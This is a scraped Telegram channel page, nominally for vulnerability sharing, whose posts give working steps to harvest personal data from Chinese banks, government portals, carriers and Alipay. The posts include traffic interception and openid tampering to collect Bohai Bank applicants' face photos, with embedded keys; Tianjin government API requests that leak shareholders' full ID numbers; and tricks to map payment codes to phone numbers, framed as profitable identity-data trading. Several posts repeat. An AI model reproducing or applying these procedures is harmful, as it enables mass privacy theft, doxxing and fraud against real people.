烬分享
Kanalga Telegram’da o‘tish
本频道为技术分享频道 ，频道中投稿分享的所有漏洞请涉事官方尽快修复！避免不法分子滥用造成危害。漏洞信息披露、安全预警、技术研究、漏洞分析、风险通报
Ko'proq ko'rsatish5 822
Obunachilar
-224 soatlar
-527 kun
-28030 kun
Postlar arxiv
5 823
渤海银行全国头
投稿 @ntnbh
渤海银行加密方式
调用 JYMCCheckYSXCertWDTrs 接口，
加密算法 SM2 + SM4 + SM3（国密三件套）
SM2_PUBKEY = "2C699F22BB277EF61F142BF098B1BCDC9394B856D05De11416B356C22206340399E87BEBE226FFD3948301DC321D74E49F9FA3CA213212DB13277C34C99543E1"AES_KEY = "1a2b3c4d5e6f7890" # ECB模式, PKCS7填充5 823
完整的逻辑他们一个微信号只能出一次我这不一样，我这一个微信号可以出上千遍
微信小程序渤海银e管家公众号-渤银e贷-普惠e贷-上传身份证正反营业执照-抓包-下一步 Photo这个字段就是大头照b64编码（时间没到里面会是空的7:30-19:30这个时间段才会有内容）
正反需要让AI实物化（就是放在桌面上的才能上传成功）
（不用逆向抓包搜这个包openid然后改尾数字即可然后全程开抓包即可无限出他他妈有人卖1000u）调用的话也可以按个办法抓
微信搜索渤海银行e管家的
点击渤银普惠e贷 上传身份证正反和营业执照 开启抓包 找含有申请人的照片的数据
2C699F22BB277EF61F142BF098B1BCDC9394B856D05DE11416B356C22206340399E87BEBE226FFD3948301DC321D74E49F9FA3CA213212DB13277C34C99543E1
JYMCCheckYSXCertWDTrs.do
挖了口子跟对人，钱才真正是你的。不出一周被别人投稿到此太可惜。
5 823
联通看话费-移动 电信 同理
https://mobile.yangkeduo.com/goods1.html?ps=riWceqDCzm
去拼多多买联通话费1块然后退款 说没有收到让他们发手机号信息就可以查看当前话费
百分百话费 概率机主 概率联通
_归零
5 823
宁波银行
https://aapw.nbcb.com.cn/mobilebank/page/vueArea/persLoanNew/vVueLoan32/cloudMortgage.html?t
过验证 抓包 最大的那个包就是头
实测全国头，要联网 来自__ @NftQishi
5 823
山西政务服务 企业跨省转移 法人股东全号
天津政务服务 企业跨省转移 法人股东全号
https://yct.scjg.tj.gov.cn/xreg-server/migrate/createProvincialMigrateBusiness
{
"areaCode": "370000",
"entname": "济宁八百英里商贸有限公司",
"uniscid": "91370811MAC9PR8R9A"
}
里面的 poid 参数 请求这个
https://yct.scjg.tj.gov.cn/xreg-server/migrate/oneStopService/getSupplementaryPerson
{
'businessId': "poid参数"
}
就获得了全号
5 823
这几天涌入一大堆批转大神 支付宝官方也不作为 既然这样的话我就给批转泛滥 后续去官网
https://b.alipay.com/page/bizfund-bulk-payment/file-batch/upload自己接码登录之后选择资金管理-批量付款-然后生成的xlsl自己放进去之后跑就行了 最后如果出现跑出来金额去wps找即可 如果0就是空
5 823
全自动码反
收款码 →标识（如fkx13183dyjditcgj9gjva5）+完整手机号手机号是靠跑的→uid
原理大概就是这个原理
生成手机号来跑 我和别人的不一样 因为我问过别人 这也是一种方法 只不过是耗时比较久 去支付宝网页版抓CK替换
5 823
Repost from 枫门历史资源频道 请尽快加入新频道
全自动码反
收款码 →标识（如fkx13183dyjditcgj9gjva5）+完整手机号手机号是靠跑的→uid
原理大概就是这个原理
生成手机号来跑 我和别人的不一样 因为我问过别人 这也是一种方法 只不过是耗时比较久 去支付宝网页版抓CK替换
5 823
Repost from 枫门历史资源频道 请尽快加入新频道
这几天涌入一大堆批转大神 支付宝官方也不作为 既然这样的话我就给批转泛滥 后续去官网
https://b.alipay.com/page/bizfund-bulk-payment/file-batch/upload自己接码登录之后选择资金管理-批量付款-然后生成的xlsl自己放进去之后跑就行了 最后如果出现跑出来金额去wps找即可 如果0就是空
5 823
Repost from 枫门历史资源频道 请尽快加入新频道
山西政务服务 企业跨省转移 法人股东全号
天津政务服务 企业跨省转移 法人股东全号
https://yct.scjg.tj.gov.cn/xreg-server/migrate/createProvincialMigrateBusiness
{
"areaCode": "370000",
"entname": "济宁八百英里商贸有限公司",
"uniscid": "91370811MAC9PR8R9A"
}
里面的 poid 参数 请求这个
https://yct.scjg.tj.gov.cn/xreg-server/migrate/oneStopService/getSupplementaryPerson
{
'businessId': "poid参数"
}
就获得了全号
